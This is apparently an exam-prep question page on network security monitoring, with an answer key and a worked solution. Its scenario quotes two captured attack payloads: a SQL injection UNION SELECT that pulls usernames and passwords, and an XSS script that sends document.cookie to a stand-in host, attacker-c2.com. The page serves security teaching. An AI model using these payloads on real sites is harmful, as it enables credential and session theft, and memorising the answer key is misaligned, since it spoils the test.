Examkin

Question

Difficulty: HardNetwork Security Monitoring and Alerting

A network security monitoring (NSM) sensor captures telemetry from an isolated subnet containing an intentional decoy server. The Network Intrusion Detection System (NIDS) generates alerts containing the following captured HTTP GET request payloads:

Payload 1: GET /search.php?id=100' UNION SELECT username, password FROM users--
Payload 2: GET /profile.php?name=<script>document.location='http://attacker-c2.com/collect?c='+document.cookie</script>

Which of the following statements correctly interpret this network telemetry and security control architecture? (Select TWO.)

  1. The captured telemetry demonstrates both database manipulation via SQL injection and client-side code execution via Cross-Site Scripting (XSS).Answer
  2. The targeted decoy server serves as a detective deception control (honeypot) designed to capture threat intelligence rather than prevent inline traffic.Answer
  3. C
    The monitoring sensor operates as an inline Network Intrusion Prevention System (NIPS) that automatically drops malicious TCP packets before host delivery.
  4. D
    Applying ingress network Access Control Lists (ACLs) on border routers is the primary remediation strategy to patch these application vulnerabilities.

Answer

The captured telemetry demonstrates both SQL injection and Cross-Site Scripting (XSS) targeting a detective honeypot deception control.
The correct options correctly identify the two payload signatures (SQL injection via database UNION syntax and XSS via script tags) and accurately classify the decoy system on an isolated network as a honeypot used for detective security monitoring.

Step-by-Step Solution

1
Analyze the first payload snippet in the NIDS alert.
Identified 'UNION SELECT' syntax targeting data retrieval from a database backend (SQL Injection).
SQL injection attacks attempt to pass unauthorized SQL commands through unvalidated application input fields.
2
Analyze the second payload snippet in the NIDS alert.
Identified client-side JavaScript (<script>) targeting cookie extraction (Cross-Site Scripting / XSS).
XSS attacks execute arbitrary script code within a browser context to steal tokens or redirect users.
3
Evaluate the architectural role of the targeted decoy server on an isolated subnet.
Confirmed the host functions as a honeypot (deception technology) for detective monitoring.
Honeypots entice attackers into exposing tactics and telemetry without risking enterprise production assets.

Key Concept

Network Security Monitoring and Alert Interpretation
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic